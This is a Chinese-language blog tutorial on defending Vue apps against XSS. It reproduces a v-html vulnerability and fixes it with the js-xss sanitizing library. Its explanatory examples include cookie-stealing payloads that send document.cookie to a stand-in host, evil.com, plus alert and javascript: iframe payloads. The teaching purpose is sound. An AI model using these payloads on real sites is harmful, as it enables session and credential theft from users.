🛡️ Vue项目XSS攻击防护指南:从漏洞发现到js-xss完美解决

前言

​ 最近我在开发项目的时候遇到了xss问题,起因是一个气泡生成的小功能用的是vfor+v-html的方式渲染.结果被漏洞扫描检测出具有xss风险,这篇文章将介绍什么是xss,以及如何在项目中处理.

XSS是什么?

​ 说白了,XSS(Cross-Site Scripting,跨站脚本攻击)就是坏人想办法在你的网页里塞进去一些恶意的JavaScript代码。当用户打开页面时,这些代码就会偷偷执行,可能会偷取用户的cookie、session,或者做一些更坏的事情。

​ 举个简单的例子,假如你有一个评论功能,正常用户会输入:"这个功能很棒!",但是恶意用户可能会输入:

html 复制代码
<script>alert('你被攻击了!')</script>

​ 如果你直接把这段内容渲染到页面上(比如用v-html),那么用户一打开页面就会弹出一个警告框。这只是最简单的例子,实际上攻击者可能会:

  • 偷取用户的登录信息
  • 重定向到钓鱼网站
  • 修改页面内容
  • 发起CSRF攻击

​ 最容易中招的就是两个地方:

  1. 用户输入的内容:评论、搜索框、表单等
  2. URL参数:有些同学喜欢直接从URL里取参数显示在页面上

​ XSS主要分为三种类型:

  • 存储型XSS:恶意代码存在数据库里,每次用户访问都会执行
javascript 复制代码
// 用户在评论框输入恶意代码,存储到数据库
const maliciousComment = `<img src="x" onerror="
  // 偷取用户cookie发送到攻击者服务器
  fetch('http://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({cookie: document.cookie})
  });
">`
  • 反射型XSS:恶意代码在URL参数里,点击恶意链接就中招
javascript 复制代码
// URL: https://yoursite.com/search?q=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
// 如果页面直接显示搜索参数,就会执行恶意代码
const searchParam = new URLSearchParams(location.search).get('q');
document.getElementById('result').innerHTML = `搜索结果: ${searchParam}`;
  • DOM型XSS:前端JavaScript处理不当,直接操作DOM导致的
javascript 复制代码
// 危险的DOM操作
function updateContent() {
  const userInput = document.getElementById('input').value;
  // 直接插入HTML,容易被攻击
  document.getElementById('content').innerHTML = userInput;
}
// 用户输入: <img src="x" onerror="alert('XSS攻击!')">
// 就会执行恶意代码

场景复现

​ 而我遇到的问题,就是DOM型XSS,由于没有过滤和处理文本,直接渲染上去导致的.

效果就类似下面这样

测试代码如下

vue 复制代码
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import './styles/app.css'

const inputValue = ref('')
const chatMessages = ref([])
const chatContainer = ref(null)

// 发送消息函数
const sendMessage = () => {
  if (!inputValue.value.trim()) {
    ElMessage.warning('请输入内容')
    return
  }
  
  // 添加消息到聊天记录
  const newMessage = {
    id: Date.now(),
    content: inputValue.value,
    timestamp: new Date().toLocaleTimeString()
  }
  chatMessages.value.push(newMessage)
  // 清空输入框
  inputValue.value = ''
}

// 清空聊天记录
const clearChat = () => {
  chatMessages.value = []
  ElMessage.success('聊天记录已清空')
}

// 处理回车发送
const handleKeydown = (event) => {
  if (event.key === 'Enter' && !event.shiftKey) {
    event.preventDefault()
    sendMessage()
  }
}
</script>

<template>
  <div class="container">
    <el-card class="chat-card">
      <template #header>
        <div class="card-header">
          <span>聊天界面</span>
          <div>
            <el-button type="danger" size="small" @click="clearChat" v-if="chatMessages.length > 0">
              清空记录
            </el-button>
          </div>
        </div>
      </template>
      
      <!-- 聊天消息显示区域 -->
      <div class="chat-container" ref="chatContainer">
        <div v-if="chatMessages.length === 0" class="empty-chat">
          <el-empty description="暂无聊天记录,开始发送消息吧!" />
        </div>
        <div 
          v-for="message in chatMessages" 
          :key="message.id" 
          class="chat-message">
          <div class="message-info">
            <span class="message-time">{{ message.timestamp }}</span>
          </div>
          <div class="message-content" v-html="message.content"></div>
        </div>
      </div>
      <!-- 输入区域 -->
      <div class="chat-input-area">
        <div class="input-container">
          <el-input
            v-model="inputValue"
            type="textarea"
            :rows="3"
            placeholder="输入消息内容... (按Enter发送,Shift+Enter换行)"
            @keydown="handleKeydown"
            class="message-input"
          />
          <el-button 
            type="primary" 
            @click="sendMessage"
            :disabled="!inputValue.trim()"
            class="send-button">
            发送
          </el-button>
        </div>
      </div>
    </el-card>
  </div>
</template>

代码中我用v-html去插入内容, 然后导致执行了这个payload:<iframe src=javascript:alert('xxx')>

解决方案

常规的处理方式

​ 面对XSS问题,很多人的第一反应是自己写个函数过滤一下,像下面这样

javascript 复制代码
// 很多人会这样写
function escapeHtml(text) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#039;'
  }
  return text.replace(/[&<>"']/g, m => map[m])
}

​ 或者使用正则表达式去掉危险标签:

javascript 复制代码
function removeScripts(html) {
  return html
    .replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
    .replace(/javascript:/gi, '')
    .replace(/on\w+\s*=/gi, '')
}

​ 但是这样做有几个问题:

  1. 攻击手段太多了<script><iframe><img onerror>javascript:data:text/html等等,防不胜防
  2. 容易误杀:可能会把正常的内容也给过滤掉
  3. 维护成本高:新的攻击方式出现后,你得手动更新过滤规则

总之,自己处理太麻烦了,建议是直接引入第三方库处理

主流的XSS防护库推荐

1. js-xss (推荐)

​ 最受欢迎的JavaScript XSS过滤库,支持自定义规则:

bash 复制代码
npm install xss

2. DOMPurify

​ 专门用于清理DOM的库,在浏览器环境表现优秀:

bash 复制代码
npm install dompurify
javascript 复制代码
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize('<script>alert("xss")</script><p>Clean me</p>')

3. sanitize-html

​ 功能强大的HTML清理库,配置选项丰富:

bash 复制代码
npm install sanitize-html
javascript 复制代码
import sanitizeHtml from 'sanitize-html'
const clean = sanitizeHtml('<script>alert("xss")</script><p>Keep me</p>')

下面我选择使用xss这个库解决这个问题

安装js-xss库

文档地址:js-xss/README.zh.md at master · leizongmin/js-xss

bash 复制代码
npm install xss
# 或者
yarn add xss

基本使用

​ js-xss的语法非常简单,核心就是一个xss()函数,但功能很强大。

最简单的用法

javascript 复制代码
import xss from 'xss'
// 基本用法:直接过滤
console.log('处理前','payload:<iframe src=javascript:alert("xxx")></iframe>')
console.log('处理后',xss("payload:<iframe src=javascript:alert('xxx')></iframe>"))

常见的攻击代码过滤效果

​ 来看看js-xss对各种攻击手段的处理效果:

javascript 复制代码
import xss from 'xss'

// 1. script标签 - 直接移除
console.log(xss('<script>alert("攻击")</script>'))
// 输出: (空字符串)

// 2. iframe攻击 - 过滤危险属性
console.log(xss('<iframe src="javascript:alert(1)"></iframe>'))
// 输出: <iframe src></iframe>

// 3. img标签onerror - 移除事件属性
console.log(xss('<img src="x" onerror="alert(1)">'))
// 输出: <img src="x">

// 4. a标签javascript伪协议 - 过滤危险链接
console.log(xss('<a href="javascript:alert(1)">点击</a>'))
// 输出: <a href>点击</a>

// 5. 保留安全内容
console.log(xss('<p class="text">安全的段落</p><strong>粗体文字</strong>'))
// 输出: <p>安全的段落</p><strong>粗体文字</strong>

打印结果:

自定义配置选项

​ js-xss支持丰富的配置选项,可以根据业务需求调整:

javascript 复制代码
import xss, { getDefaultWhiteList } from 'xss'

// 获取默认白名单
const defaultWhiteList = getDefaultWhiteList()
console.log(defaultWhiteList)
// 输出所有默认允许的标签和属性

// 自定义配置
const options = {
  // 白名单配置
  whiteList: {
    // 继承默认白名单
    ...getDefaultWhiteList(),
    // 添加自定义标签
    'my-custom': ['class', 'data-*'],
    // 修改已有标签的允许属性
    'div': ['class', 'style', 'data-*'],
    // 完全自定义某个标签
    'span': ['class', 'style']
  },
  
  // 过滤配置
  stripIgnoreTag: true,           // 过滤不在白名单的标签
  stripIgnoreTagBody: ['script'], // 过滤指定标签及其内容
  allowCommentTag: false,         // 是否允许HTML注释
  
  // 自定义过滤函数
  onIgnoreTag: function (tag, html, options) {
    // 对不在白名单的标签进行自定义处理
    if (tag === 'mytag') {
      return '[自定义标签被过滤]'
    }
  },
  
  onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) {
    // 对不在白名单的属性进行自定义处理
    if (name === 'data-custom') {
      return name + '="' + xss.escapeAttrValue(value) + '"'
    }
  },
  
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    // 对所有属性进行自定义处理
    if (tag === 'img' && name === 'src' && !value.startsWith('http')) {
      return '' // 只允许http开头的图片
    }
  }
}

const safeHtml = xss('<div data-custom="test">内容</div>', options)

常用的预设配置

​ 针对不同场景,这里提供几个常用的配置模板:

javascript 复制代码
// 1. 严格模式 - 只允许最基本的文本标签
const strictOptions = {
  whiteList: {
    'p': [],
    'br': [],
    'strong': [],
    'em': [],
    'span': []
  },
  stripIgnoreTag: true,
  stripIgnoreTagBody: ['script', 'style']
}

// 2. 富文本模式 - 允许常见的富文本标签
const richTextOptions = {
  whiteList: {
    ...getDefaultWhiteList(),
    'h1': [], 'h2': [], 'h3': [], 'h4': [], 'h5': [], 'h6': [],
    'blockquote': [], 'code': [], 'pre': [],
    'table': [], 'thead': [], 'tbody': [], 'tr': [], 'td': [], 'th': [],
    'ol': [], 'ul': [], 'li': []
  }
}

// 3. 评论模式 - 允许链接和简单格式
const commentOptions = {
  whiteList: {
    'p': [], 'br': [], 'strong': [], 'em': [],
    'a': ['href', 'title'], 'blockquote': []
  },
  onTagAttr: function (tag, name, value, isWhiteAttr) {
    if (tag === 'a' && name === 'href') {
      // 只允许http/https链接
      if (!/^https?:\/\//.test(value)) {
        return ''
      }
    }
  }
}

实际使用例子

​ 用``来测试一下

javascript 复制代码
import xss from 'xss'

const maliciousInput = "payload:<iframe src=javascript:alert('xxx')></iframe>"
const safeOutput = xss(maliciousInput)
console.log('处理前:', maliciousInput)
console.log('处理后:', safeOutput)

可以看到,js-xss很智能地保留了iframe标签结构,但移除了危险的javascript:协议,这样既保证了安全又不会完全破坏内容结构。

在Vue中的实际应用

​ 回到我们前面的例子,只需要稍微改动一下:

vue 复制代码
<script setup>
import { ref } from 'vue'
import { ElMessage } from 'element-plus'
import xss from 'xss'

// ... 其他代码保持不变

// 发送消息函数
const sendMessage = () => {
  if (!inputValue.value.trim()) {
    ElMessage.warning('请输入内容')
    return
  }
  
  const newMessage = {
    id: Date.now(),
    // 关键改动:使用xss过滤内容
    content: xss(inputValue.value),
    timestamp: new Date().toLocaleTimeString()
  }
  chatMessages.value.push(newMessage)
  inputValue.value = ''
}
</script>

<template>
  <!-- 模板部分不用改,还是用v-html -->
  <div class="message-content" v-html="message.content"></div>
</template>

修改之后可以看到, 我们输入xss攻击的代码, 它也不会再弹出弹窗了

自定义过滤规则

​ 有时候默认的过滤规则可能太严格,比如你想保留一些特定的标签,可以这样配置:

javascript 复制代码
import xss, { getDefaultWhiteList } from 'xss'

// 自定义配置
const options = {
  whiteList: {
    ...getDefaultWhiteList(),
    // 允许iframe标签,但限制src属性
    iframe: ['src', 'width', 'height'],
    // 允许自定义属性
    div: ['class', 'data-*']
  },
  // 过滤掉不在白名单中的标签时的处理方式
  stripIgnoreTag: true,
  // 过滤掉不在白名单中的属性时的处理方式  
  stripIgnoreTagBody: ['script']
}

const safeHtml = xss('<div class="test">安全内容</div><script>alert(1)</script>', options)

效果如下

结尾

​ 其实xss这个问题最早是我使用wangEdit的时候,里面有一个网络图片的插入,当时被扫描出来漏洞,然后在在其它功能上面也有,才去了解的.这篇文章也是分享了一下,如何解决这种问题,以及开发中如何避免,其实可以直接编写一个全局过滤器,不过Vue3已经没有过滤器了,可以用全局方法代替.遇到有可能出现xss问题的地方就直接调用处理,这样会更方便.

相关推荐
LLLLYYYRRRRRTT4 分钟前
MariaDB 数据库管理与web服务器
前端·数据库·mariadb
胡gh6 分钟前
什么是瀑布流?用大白话给你讲明白!
前端·javascript·面试
universe_0111 分钟前
day22|学习前端ts语言
前端·笔记
teeeeeeemo15 分钟前
一些js数组去重的实现算法
开发语言·前端·javascript·笔记·算法
Zz_waiting.16 分钟前
Javaweb - 14.1 - 前端工程化
前端·es6
掘金安东尼18 分钟前
前端周刊第426期(2025年8月4日–8月10日)
前端·javascript·面试
Abadbeginning18 分钟前
FastSoyAdmin导出excel报错‘latin-1‘ codec can‘t encode characters in position 41-54
前端·javascript·后端
ZXT20 分钟前
WebAssembly
前端
卢叁21 分钟前
Flutter开发环境安装指南
前端·flutter
curdcv_po38 分钟前
Three.js,闲谈3D——智慧XX
前端